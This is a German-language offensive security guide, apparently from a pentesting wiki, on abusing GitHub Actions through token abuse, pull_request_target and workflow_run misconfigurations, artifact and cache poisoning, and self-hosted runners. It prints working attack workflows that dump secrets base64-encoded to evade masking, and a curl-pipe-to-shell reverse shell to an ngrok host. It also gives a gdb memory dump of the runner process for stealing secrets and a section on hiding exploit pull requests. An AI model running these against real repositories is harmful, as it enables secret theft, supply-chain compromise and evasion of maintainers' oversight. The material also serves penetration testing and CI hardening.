Missbrauch von Github Actions

Reading time: 20 minutes

Grundinformationen

Auf dieser Seite finden Sie:

• Eine Zusammenfassung aller Auswirkungen, wenn ein Angreifer Zugriff auf eine Github Action erhält
• Verschiedene Möglichkeiten, um Zugriff auf eine Action zu erhalten:
• Berechtigungen zum Erstellen der Action haben
• Missbrauch von Pull-Request-bezogenen Triggern
• Missbrauch von anderen externen Zugriffstechniken
• Pivoting von einem bereits kompromittierten Repo
• Schließlich ein Abschnitt über Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen (wegen der genannten Auswirkungen)

Zusammenfassung der Auswirkungen

Für eine Einführung zu Github Actions überprüfen Sie die grundlegenden Informationen.

Wenn Sie beliebigen Code in GitHub Actions innerhalb eines Repositories ausführen können, könnten Sie in der Lage sein:

• Geheime Daten zu stehlen, die in die Pipeline eingebunden sind, und die Berechtigungen der Pipeline zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten.
• Deployments und andere Artefakte zu kompromittieren.
• Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht.
• Code in benutzerdefinierten Workern ausführen, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren.
• Repository-Code überschreiben, abhängig von den Berechtigungen, die mit dem GITHUB_TOKEN verbunden sind.

GITHUB_TOKEN

Dieses "Geheimnis" (stammend von ${{ secrets.GITHUB_TOKEN }} und ${{ github.token }}) wird vergeben, wenn der Administrator diese Option aktiviert:

Dieses Token ist dasselbe, das eine Github-Anwendung verwenden wird, sodass es auf dieselben Endpunkte zugreifen kann: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Sie können die möglichen Berechtigungen dieses Tokens hier einsehen: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Beachten Sie, dass das Token nach Abschluss des Jobs abläuft.
Diese Tokens sehen so aus: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Einige interessante Dinge, die Sie mit diesem Token tun können:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Es ist möglich, die Berechtigungen, die einem Github-Token in den Repositories anderer Benutzer gegeben wurden, durch Überprüfung der Protokolle der Aktionen zu überprüfen:

Erlaubte Ausführung

Ausführung aus der Repo-Erstellung

Falls Mitglieder einer Organisation neue Repos erstellen können und Sie Github-Aktionen ausführen können, können Sie ein neues Repo erstellen und die auf Organisationsebene festgelegten Geheimnisse stehlen.

Ausführung aus einem neuen Branch

Wenn Sie einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält, können Sie diese modifizieren, den Inhalt hochladen und dann diese Aktion aus dem neuen Branch ausführen. Auf diese Weise können Sie Geheimnisse auf Repository- und Organisationsebene exfiltrieren (aber Sie müssen wissen, wie sie genannt werden).

Sie können die modifizierte Aktion manuell ausführbar machen, wenn ein PR erstellt wird oder wenn einige Codes gepusht werden (je nachdem, wie auffällig Sie sein möchten):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

pull_request

Der Workflow-Trigger pull_request wird jedes Mal den Workflow ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das erste Mal ist, dass Sie mitarbeiten, muss ein Maintainer den Lauf des Workflows genehmigen:

Darüber hinaus verhindert standardmäßig Schreibberechtigungen und Zugriff auf Geheimnisse auf das Ziel-Repository, wie in den Docs erwähnt:

Mit Ausnahme von GITHUB_TOKEN werden Geheimnisse nicht an den Runner übergeben, wenn ein Workflow von einem forked Repository ausgelöst wird. Das GITHUB_TOKEN hat nur Lesezugriff in Pull-Requests von geforkten Repositories.

Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.

Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsweise bösartige Artefakte hochladen, selbst wenn es keine Geheimnisse oder Schreibberechtigungen für das GITHUB_TOKEN gibt.

pull_request_target

Der Workflow-Trigger pull_request_target hat Schreibberechtigungen für das Ziel-Repository und Zugriff auf Geheimnisse (und fragt nicht nach Erlaubnis).

Beachten Sie, dass der Workflow-Trigger pull_request_target im Basis-Kontext und nicht im durch den PR gegebenen Kontext ausgeführt wird (um nicht untrusted code auszuführen). Für weitere Informationen zu pull_request_target überprüfen Sie die Docs.
Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem Github-Blogbeitrag.

Es könnte so aussehen, als wäre der ausgeführte Workflow der, der im Basis definiert ist und nicht im PR, was es sicher macht, pull_request_target zu verwenden, aber es gibt einige Fälle, in denen dies nicht der Fall ist.

Und dieser hat Zugriff auf Geheimnisse.

workflow_run

Der workflow_run Trigger ermöglicht es, einen Workflow von einem anderen auszuführen, wenn er completed, requested oder in_progress ist.

In diesem Beispiel ist ein Workflow so konfiguriert, dass er nach dem Abschluss des separaten "Run Tests"-Workflows ausgeführt wird:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Außerdem, laut den Dokumenten: Der durch das workflow_run-Ereignis gestartete Workflow kann Geheimnisse und Token schreiben, selbst wenn der vorherige Workflow nicht.

Dieser Art von Workflow könnte angegriffen werden, wenn er von einem Workflow abhängt, der von einem externen Benutzer über pull_request oder pull_request_target ausgelöst werden kann. Einige anfällige Beispiele können in diesem Blog** gefunden werden.** Der erste besteht darin, dass der durch workflow_run ausgelöste Workflow den Code des Angreifers herunterlädt: ${{ github.event.pull_request.head.sha }}
Der zweite besteht darin, ein Artifact vom nicht vertrauenswürdigen Code an den workflow_run Workflow zu übergeben und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die anfällig für RCE ist.

workflow_call

TODO

TODO: Überprüfen, ob der verwendete/heruntergeladene Code, wenn er von einem pull_request ausgeführt wird, der aus dem Ursprung oder vom geforkten PR stammt.

Missbrauch von geforkter Ausführung

Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:

Nicht vertrauenswürdige Checkout-Ausführung

Im Fall von pull_request wird der Workflow im Kontext des PR ausgeführt (er wird also den bösartigen PR-Code ausführen), aber jemand muss ihn zuerst autorisieren, und er wird mit einigen Einschränkungen ausgeführt.

Im Fall eines Workflows, der pull_request_target oder workflow_run verwendet und von einem Workflow abhängt, der von pull_request_target oder pull_request ausgelöst werden kann, wird der Code aus dem ursprünglichen Repo ausgeführt, sodass der Angreifer den ausgeführten Code nicht kontrollieren kann.

# UNSICHER. Nur als Beispiel bereitgestellt.
on:
pull_request_target

jobs:
build:
name: Build und Test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Danke!

Der potenziell nicht vertrauenswürdige Code wird während npm install oder npm build ausgeführt, da die Build-Skripte und referenzierten Pakete vom Autor des PR kontrolliert werden.

Kontext-Skript-Injektionen

Beachten Sie, dass es bestimmte GitHub-Kontexte gibt, deren Werte vom Benutzer erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese Daten verwendet, um irgendetwas auszuführen, könnte dies zu willkürlicher Codeausführung führen:

Gh Actions - Context Script Injections

GITHUB_ENV Skript-Injektion

Laut den Dokumenten: Sie können eine Umgebungsvariable für alle nachfolgenden Schritte in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die GITHUB_ENV-Umgebungsdatei schreiben.

Wenn ein Angreifer irgendeinen Wert in diese env-Variable einschleusen könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie LD_PRELOAD oder NODE_OPTIONS.

Zum Beispiel (dies und dies), stellen Sie sich einen Workflow vor, der einem hochgeladenen Artifact vertraut, um seinen Inhalt in der GITHUB_ENV-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:

Anfällige Drittanbieter-GitHub-Aktionen

dawidd6/action-download-artifact

Wie in diesem Blogbeitrag erwähnt, ermöglicht diese GitHub-Aktion den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.

Das Problem ist, dass, wenn der path-Parameter nicht gesetzt ist, das Artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer, wenn das Artifact anfällig ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.

Beispiel eines anfälligen Workflows:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Dies könnte mit diesem Workflow angegriffen werden:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Anderer externer Zugriff

Gelöschte Namespace-Repo-Hijacking

Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository weniger als 100 Sterne vor der Namensänderung hatte, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein Repository mit demselben Namen wie das gelöschte zu erstellen.

Wenn andere Repositories Abhängigkeiten von diesen Benutzer-Repos verwendet haben, wird ein Angreifer in der Lage sein, sie zu übernehmen. Hier haben Sie eine umfassendere Erklärung: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo-Pivoting

Cache-Poisoning

Ein Cache wird zwischen Workflow-Ausführungen im selben Branch aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein Paket kompromittiert, das dann im Cache gespeichert und von einem privilegierteren Workflow heruntergeladen und ausgeführt wird, er auch diesen Workflow kompromittieren kann.

GH Actions - Cache Poisoning

Artifact-Poisoning

Workflows könnten Artefakte von anderen Workflows und sogar Repos verwenden. Wenn es einem Angreifer gelingt, die Github Action, die ein Artefakt hochlädt, das später von einem anderen Workflow verwendet wird, zu kompromittieren, könnte er die anderen Workflows kompromittieren:

Gh Actions - Artifact Poisoning

Post-Exploitation von einer Aktion

Zugriff auf AWS und GCP über OIDC

Überprüfen Sie die folgenden Seiten:

AWS - Federation Abuse

GCP - Federation Abuse

Zugriff auf Geheimnisse

Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie auf Geheimnisse zugreifen können:

• Wenn das Geheimnis oder Token auf eine Umgebungsvariable gesetzt ist, kann es direkt über die Umgebung mit printenv zugegriffen werden.

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Wenn das Geheimnis direkt in einem Ausdruck verwendet wird, wird das generierte Shell-Skript auf der Festplatte gespeichert und ist zugänglich.

cat /home/runner/work/_temp/*

- Bei JavaScript-Aktionen werden die Geheimnisse über Umgebungsvariablen gesendet.
- ```bash
ps axe | grep node

• Bei einer benutzerdefinierten Aktion kann das Risiko variieren, je nachdem, wie ein Programm das Geheimnis verwendet, das es aus dem Argument erhalten hat:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Missbrauch von selbstgehosteten Runnern

Der Weg, um herauszufinden, welche Github Actions in nicht-Github-Infrastrukturen ausgeführt werden, besteht darin, nach runs-on: self-hosted in der Github Action-Konfigurations-YAML zu suchen.

Selbstgehostete Runner könnten Zugang zu extra sensiblen Informationen, zu anderen Netzwerksystemen (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, könnten mehr als eine Aktion gleichzeitig ausgeführt werden und die bösartige könnte die Geheimnisse der anderen stehlen.

Bei selbstgehosteten Runnern ist es auch möglich, die Geheimnisse aus dem _Runner.Listener_** Prozess** zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher dumpet:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Überprüfen Sie diesen Beitrag für weitere Informationen.

Github Docker Images Registry

Es ist möglich, Github-Aktionen zu erstellen, die ein Docker-Image innerhalb von Github erstellen und speichern.
Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in ghcr.io gehostet.

Ein Benutzer mit Lesezugriff auf das Repository kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Dann könnte der Benutzer nach geleakten Geheimnissen in den Docker-Image-Schichten suchen:

Docker Forensics - HackTricks

Sensible Informationen in Github Actions-Protokollen

Selbst wenn Github versucht, Geheimwerte in den Aktionsprotokollen zu erkennen und zu vermeiden, dass sie angezeigt werden, werden andere sensible Daten, die während der Ausführung der Aktion generiert wurden, nicht verborgen. Zum Beispiel wird ein mit einem Geheimwert signiertes JWT nicht verborgen, es sei denn, es ist speziell konfiguriert.

Spuren verwischen

(Technik von hier) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig einen PR aus dem Internet nicht löschen, aber es gibt einen Haken. Für GitHub-Konten, die von Github suspendiert wurden, werden alle ihre PRs automatisch gelöscht und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen. Dies würde alle Ihre Aktivitäten auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).

Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden suspendiert wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.

Werkzeuge

Die folgenden Werkzeuge sind nützlich, um Github Action-Workflows zu finden und sogar verwundbare zu finden:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda